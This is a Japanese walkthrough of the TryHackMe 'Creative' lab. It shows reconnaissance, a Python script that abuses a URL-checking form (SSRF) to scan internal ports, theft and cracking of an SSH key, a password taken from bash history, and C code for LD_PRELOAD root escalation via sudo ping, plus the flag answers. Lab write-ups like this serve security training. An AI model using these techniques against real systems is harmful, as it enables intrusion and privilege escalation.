【TryHackMe】Creative：Walkthrough

# 概要

TryHackMe「Creative」のWalkthroughです。

https://tryhackme.com/r/room/creative

# Task1

## **Q1**.*What is user.txt?*

`nmap`でポートスキャンを実行します。

```
$ nmap -Pn -sC -A -T4 -sV -p- 10.10.201.51
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-09 02:07 EDT
Nmap scan report for 10.10.201.51
Host is up (0.24s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:5c:1c:4e:b4:86:cf:58:9f:22:f9:7c:54:3d:7e:7b (RSA)
|   256 47:d5:bb:58:b6:c5:cc:e3:6c:0b:00:bd:95:d2:a0:fb (ECDSA)
|_  256 cb:7c:ad:31:41:bb:98:af:cf:eb:e4:88:7f:12:5e:89 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://creative.thm
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 371.37 seconds
```

`ssh:22`,`http:80`番ポートのオープンが確認できました。

Webサイトにアクセスしようとしたら名前解決エラーが出たので`/etc/hosts`ファイルを編集します。

```/etc/hosts
10.10.201.51    creative.thm
```

サイトにアクセスします。

![home page.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/75e110b5-d8b1-0cd0-c482-8756c7061b50.png)

ディレクトリを列挙します。

```
$ gobuster dir -u http://creative.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
```

`/assets`が見つかりました。

```
/assets               (Status: 301) [Size: 178] [--> http://creative.thm/assets/]
```

`/assets`にアクセスすると403が返ってきました。

![assets 403.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/358b25a6-1c51-f405-94af-fdaed7659404.png)

開発者ツールで確認すると、`/assets`配下には画像ファイルやjsファイルの存在が分かりました。
しかし、攻撃の手掛かりになるものはありませんでした。

![assets network.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/6fe1f711-b638-19f7-c392-a7dd018b5813.png)

サブドメインを列挙します。

```
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://creative.thm -H "Host: FUZZ.creative.thm" -fc 301
```

`beta`が見つかりました。

```
beta                    [Status: 200, Size: 591, Words: 91, Lines: 20, Duration: 252ms]
```

`/etc/hosts`ファイルにサブドメインを追加します。

```
10.10.88.126    creative.thm beta.creative.thm
```

`beta.creative.thm`にアクセスします。

![beta home.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d4f46741-22f7-2b5f-f7bc-2449b540cc99.png)

フォームにURLを入れることでURLが存在するか確かめることが出来るようです。
試しに`http://localhost:80`を入力すると、`cretive.thm`のホームページが表示されました。

![enter localhost.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/4429e34f-e74b-00e9-8139-87f12e923d7b.png)

ローカルでHTTPサーバーを立て、PHPリバースシェルコードにアクセスさせてシェルの獲得を試みましたが、動作しませんでした。

![php rev shell.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/03c9a9f9-8a62-c244-e6bb-0643c967d386.png)

しかし、フォームから`http://localhost:<port>`を指定することで内部のサービスにアクセスできる可能性があります。

burpでブルートフォースしても良いのですが、無料版だと処理に時間がかかるのでpythonで実行します。

Burpでリクエストに必要なパラメータを取得します。

![burp.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/84d169a5-f915-8757-5d32-90cc784155f5.png)

動作していないポートからの`Content-Length`は`13`で固定化されているようなのでこのレスポンスヘッダーでフィルタリングします。

```creative_payload.py
import requests

for i in range(1, 65536):
    headers = {
        'Host': 'beta.creative.thm',
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate, br',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Origin': 'http://beta.creative.thm',
        'Connection': 'close',
        'Referer': 'http://beta.creative.thm/',
        'Upgrade-Insecure-Requests': '1'
    }
    data = f"url=http%3A%2F%2Flocalhost%3A{i}"
    response = requests.post("http://beta.creative.thm", data=data, headers=headers)
    
    content_length = response.headers.get('Content-Length')
    if content_length != '13':
        print(f"port: {i}")
```

`80`の他に`1337`ポートが見つかりました。

```
port: 80
port: 1337
```

`http://localhost:1337`へアクセスすると`/`配下のディレクトリを閲覧できるようになっていました。

![1337.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/38fe4172-6c26-451e-870e-9978be012dc9.png)

`http://localhost:1337/home/saad`の中に`user.txt`を見つけました。
`http://localhost:1337/home/saad/user.txt`をフォームに入力してユーザーフラグゲットです。

![user.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/fa846b23-0e02-b8e6-798b-b30ea8526a82.png)

**A**.**9a1ce90a7653d74ab98630b47b8b4a84**

## **Q2**.*What is root.txt?*

`http://localhost:1337/home/saad/.ssh/id_rsa`を見つけたのでローカルのファイルに保存します。

![id rsa.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/04ea021b-6c15-1008-2acc-a9476c5667d0.png)

ssh接続を試みるとパスワードを求められました。

```
$ chmod 600 saad_id_rsa 
$ ssh -i saad_id_rsa saad@10.10.88.126
Enter passphrase for key 'saad_id_rsa':
```

`ssh2john`でハッシュ値に変換し、パスワードを特定します。

```
$ ssh2john saad_id_rsa > saad_hash.txt
$ john saad_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sweetness        (saad_id_rsa)     
1g 0:00:00:45 DONE (2024-06-11 13:20) 0.02187g/s 21.00p/s 21.00c/s 21.00C/s whitney..sandy
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

パスワードが分かったのでsshでアクセスします。

```
saad@m4lware:~$ whoami
saad
```

ログインに成功しました。
権限昇格を試みます。
`sudo -l`はパスワードが分からず、実行できませんでした。

```
$ sudo -l
[sudo] password for saad: 

Sorry, try again.
```

`SUID`で検索しましたが、めぼしいものは見つかりませんでした。

```
$ find / -user root -perm -4000 2>&1 | grep -v -e "Permission denied" -e "No such file or directory"
```

調べていると`.bash_hisotry`ファイルにパスワードが保存されているのを発見しました。

```
saad@m4lware:~$ cat .bash_history 
whoami
pwd
ls -al
ls
cd ..
sudo -l
echo "saad:MyStrongestPasswordYet$4291" > creds.txt
```

`sudo -l`が実行できました。

```
$ sudo -l
[sudo] password for saad: 
Matching Defaults entries for saad on m4lware:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    env_keep+=LD_PRELOAD

User saad may run the following commands on m4lware:
    (root) /usr/bin/ping
```

`env_keep+=LD_PRELOAD`という興味深い設定があるので調べると権限昇格の脆弱性がありました。

https://book.hacktricks.xyz/v/jp/linux-hardening/privilege-escalation#ld_preload-and-ld_library_path

HackTricksのテクニック通りに進めていきます。
まず、`/tmp`配下に`pe.c`ファイルを作成しました。

```/tmp/pe.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
```

`/tmp`に移動して作成したファイルをコンパイルします。

```
saad@m4lware:~$ cd /tmp
saad@m4lware:/tmp$ gcc -fPIC -shared -o pe.so pe.c -nostartfiles
pe.c: In function ‘_init’:
pe.c:7:1: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
    7 | setgid(0);
      | ^~~~~~
pe.c:8:1: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
    8 | setuid(0);
      | ^~~~~~

```

`root`権限でpingが実行できるので、それを利用して権限昇格に成功しました。

```
$ sudo LD_PRELOAD=./pe.so ping
root@m4lware:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
```

`/root/root.txt`を閲覧してフラグゲットです。

```
root@m4lware:/tmp# ls -l /root
total 8
-rw------- 1 root root   33 Jan 21  2023 root.txt
drwx------ 3 root root 4096 Jan 20  2023 snap
root@m4lware:/tmp# cat /root/root.txt
992bfd94b90da48634aed182aae7b99f
```

**A**.**992bfd94b90da48634aed182aae7b99f**